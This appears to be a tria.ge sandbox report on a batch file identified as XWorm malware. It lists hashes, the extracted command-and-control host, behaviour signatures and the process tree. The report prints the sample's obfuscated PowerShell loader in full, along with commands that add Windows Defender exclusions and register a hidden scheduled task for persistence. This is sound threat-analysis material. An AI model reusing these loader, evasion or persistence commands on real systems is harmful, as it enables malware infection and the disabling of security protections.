Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
163s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
07/09/2024, 17:07
Static task
static1
General
-
Target
XClient.bat
-
Size
1.2MB
-
MD5
b8a030e706b3e3868339592f0fb3a293
-
SHA1
c2dc760f1742cd5de9962dc60819891104be6646
-
SHA256
c5ef061354d898c115f3047521fda46402f2516b64c70a98ccd6315b32447855
-
SHA512
5f44c67b6540fb16148d3f3b295cf151767def898042059d2bf1c7ed3a71c938206fd47c12d642419f16719b93c954e5518d75195533b821f68607095df9c60a
-
SSDEEP
24576:nMWULp7/e21VZf5hFIka5IcCECBRSqL7m9pSsSClzjT:vUc21VHIka5IyqL7Uf1lz
Malware Config
Extracted
xworm
super-nearest.gl.at.ply.gg:17835
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/3704-52-0x0000015C71550000-0x0000015C7156A000-memory.dmp family_xworm -
Blocklisted process makes network request 2 IoCs
flow pid Process 21 3704 powershell.exe 26 3704 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
pid Process 4664 powershell.exe 3704 powershell.exe 1292 powershell.exe 1292 powershell.exe 3704 powershell.exe 4396 powershell.exe 2000 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation WScript.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings powershell.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 1292 powershell.exe 1292 powershell.exe 4664 powershell.exe 4664 powershell.exe 3704 powershell.exe 3704 powershell.exe 4396 powershell.exe 4396 powershell.exe 2000 powershell.exe 2000 powershell.exe 3704 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1292 powershell.exe Token: SeDebugPrivilege 4664 powershell.exe Token: SeIncreaseQuotaPrivilege 4664 powershell.exe Token: SeSecurityPrivilege 4664 powershell.exe Token: SeTakeOwnershipPrivilege 4664 powershell.exe Token: SeLoadDriverPrivilege 4664 powershell.exe Token: SeSystemProfilePrivilege 4664 powershell.exe Token: SeSystemtimePrivilege 4664 powershell.exe Token: SeProfSingleProcessPrivilege 4664 powershell.exe Token: SeIncBasePriorityPrivilege 4664 powershell.exe Token: SeCreatePagefilePrivilege 4664 powershell.exe Token: SeBackupPrivilege 4664 powershell.exe Token: SeRestorePrivilege 4664 powershell.exe Token: SeShutdownPrivilege 4664 powershell.exe Token: SeDebugPrivilege 4664 powershell.exe Token: SeSystemEnvironmentPrivilege 4664 powershell.exe Token: SeRemoteShutdownPrivilege 4664 powershell.exe Token: SeUndockPrivilege 4664 powershell.exe Token: SeManageVolumePrivilege 4664 powershell.exe Token: 33 4664 powershell.exe Token: 34 4664 powershell.exe Token: 35 4664 powershell.exe Token: 36 4664 powershell.exe Token: SeIncreaseQuotaPrivilege 4664 powershell.exe Token: SeSecurityPrivilege 4664 powershell.exe Token: SeTakeOwnershipPrivilege 4664 powershell.exe Token: SeLoadDriverPrivilege 4664 powershell.exe Token: SeSystemProfilePrivilege 4664 powershell.exe Token: SeSystemtimePrivilege 4664 powershell.exe Token: SeProfSingleProcessPrivilege 4664 powershell.exe Token: SeIncBasePriorityPrivilege 4664 powershell.exe Token: SeCreatePagefilePrivilege 4664 powershell.exe Token: SeBackupPrivilege 4664 powershell.exe Token: SeRestorePrivilege 4664 powershell.exe Token: SeShutdownPrivilege 4664 powershell.exe Token: SeDebugPrivilege 4664 powershell.exe Token: SeSystemEnvironmentPrivilege 4664 powershell.exe Token: SeRemoteShutdownPrivilege 4664 powershell.exe Token: SeUndockPrivilege 4664 powershell.exe Token: SeManageVolumePrivilege 4664 powershell.exe Token: 33 4664 powershell.exe Token: 34 4664 powershell.exe Token: 35 4664 powershell.exe Token: 36 4664 powershell.exe Token: SeIncreaseQuotaPrivilege 4664 powershell.exe Token: SeSecurityPrivilege 4664 powershell.exe Token: SeTakeOwnershipPrivilege 4664 powershell.exe Token: SeLoadDriverPrivilege 4664 powershell.exe Token: SeSystemProfilePrivilege 4664 powershell.exe Token: SeSystemtimePrivilege 4664 powershell.exe Token: SeProfSingleProcessPrivilege 4664 powershell.exe Token: SeIncBasePriorityPrivilege 4664 powershell.exe Token: SeCreatePagefilePrivilege 4664 powershell.exe Token: SeBackupPrivilege 4664 powershell.exe Token: SeRestorePrivilege 4664 powershell.exe Token: SeShutdownPrivilege 4664 powershell.exe Token: SeDebugPrivilege 4664 powershell.exe Token: SeSystemEnvironmentPrivilege 4664 powershell.exe Token: SeRemoteShutdownPrivilege 4664 powershell.exe Token: SeUndockPrivilege 4664 powershell.exe Token: SeManageVolumePrivilege 4664 powershell.exe Token: 33 4664 powershell.exe Token: 34 4664 powershell.exe Token: 35 4664 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3704 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3200 wrote to memory of 3232 3200 cmd.exe 84 PID 3200 wrote to memory of 3232 3200 cmd.exe 84 PID 3232 wrote to memory of 892 3232 net.exe 85 PID 3232 wrote to memory of 892 3232 net.exe 85 PID 3200 wrote to memory of 1292 3200 cmd.exe 89 PID 3200 wrote to memory of 1292 3200 cmd.exe 89 PID 1292 wrote to memory of 4664 1292 powershell.exe 93 PID 1292 wrote to memory of 4664 1292 powershell.exe 93 PID 1292 wrote to memory of 2716 1292 powershell.exe 96 PID 1292 wrote to memory of 2716 1292 powershell.exe 96 PID 2716 wrote to memory of 2700 2716 WScript.exe 98 PID 2716 wrote to memory of 2700 2716 WScript.exe 98 PID 2700 wrote to memory of 516 2700 cmd.exe 100 PID 2700 wrote to memory of 516 2700 cmd.exe 100 PID 516 wrote to memory of 2864 516 net.exe 101 PID 516 wrote to memory of 2864 516 net.exe 101 PID 2700 wrote to memory of 3704 2700 cmd.exe 104 PID 2700 wrote to memory of 3704 2700 cmd.exe 104 PID 3704 wrote to memory of 4396 3704 powershell.exe 105 PID 3704 wrote to memory of 4396 3704 powershell.exe 105 PID 3704 wrote to memory of 2000 3704 powershell.exe 107 PID 3704 wrote to memory of 2000 3704 powershell.exe 107
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:3232 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:892
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ntd78gJaNeTB9uccsBmyFEpFXYpPntO6w2gEPwqT9H4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FG5+7dZF2vZrti57+awqHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UNkgj=New-Object System.IO.MemoryStream(,$param_var); $iMhLz=New-Object System.IO.MemoryStream; $KtFfW=New-Object System.IO.Compression.GZipStream($UNkgj, [IO.Compression.CompressionMode]::Decompress); $KtFfW.CopyTo($iMhLz); $KtFfW.Dispose(); $UNkgj.Dispose(); $iMhLz.Dispose(); $iMhLz.ToArray();}function execute_function($param_var,$param2_var){ $oSAyi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OQePq=$oSAyi.EntryPoint; $OQePq.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$gqQUH = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$host.UI.RawUI.WindowTitle = $gqQUH;$YRSCz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gqQUH).Split([Environment]::NewLine);foreach ($zmTnt in $YRSCz) { if ($zmTnt.StartsWith(':: ')) { $ynWoU=$zmTnt.Substring(3); break; }}$payloads_var=[string[]]$ynWoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $gqQUH;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_120_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_120.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4664
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_120.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_120.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:516 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:2864
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ntd78gJaNeTB9uccsBmyFEpFXYpPntO6w2gEPwqT9H4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FG5+7dZF2vZrti57+awqHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UNkgj=New-Object System.IO.MemoryStream(,$param_var); $iMhLz=New-Object System.IO.MemoryStream; $KtFfW=New-Object System.IO.Compression.GZipStream($UNkgj, [IO.Compression.CompressionMode]::Decompress); $KtFfW.CopyTo($iMhLz); $KtFfW.Dispose(); $UNkgj.Dispose(); $iMhLz.Dispose(); $iMhLz.ToArray();}function execute_function($param_var,$param2_var){ $oSAyi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OQePq=$oSAyi.EntryPoint; $OQePq.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$gqQUH = 'C:\Users\Admin\AppData\Roaming\startup_str_120.bat';$host.UI.RawUI.WindowTitle = $gqQUH;$YRSCz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gqQUH).Split([Environment]::NewLine);foreach ($zmTnt in $YRSCz) { if ($zmTnt.StartsWith(':: ')) { $ynWoU=$zmTnt.Substring(3); break; }}$payloads_var=[string[]]$ynWoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $gqQUH;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3704 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4396
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2000
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD53c2a00f0fd823b88bf228b8472979845
SHA15dcc2f4e9282bdeb5d9f1b4ff6e790b8636d1482
SHA256aaabc9856198107bc7a94bff5bcba1cd02e7adc24527e8794300e57ee7dd2ba4
SHA5127f90eedab256355659676eddfa504a6fb08f016c610166b4abbea5b0d6a94a1c834ebae011eefdd68e23df4558c3a72c33ef887de7d62d70ea179bbd8b01fce9
-
Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
1.2MB
MD5b8a030e706b3e3868339592f0fb3a293
SHA1c2dc760f1742cd5de9962dc60819891104be6646
SHA256c5ef061354d898c115f3047521fda46402f2516b64c70a98ccd6315b32447855
SHA5125f44c67b6540fb16148d3f3b295cf151767def898042059d2bf1c7ed3a71c938206fd47c12d642419f16719b93c954e5518d75195533b821f68607095df9c60a
-
Filesize
115B
MD538ecd8a0fb1393c7394095882a71f131
SHA1f17201d2d2e00167e7786766b2da546b5e50c028
SHA2561ea700303afd0e245e8342593f0da8c65ddad1509fd7b6e4401277079b227d61
SHA512f377054e2b68b07d39bdf2c9d33ce0565b9b1dbddc3631af7a0d8624fd58df437c3671b507f4942a1a444de7edf86c4b7ab150f21f1807b064e358ebd3645573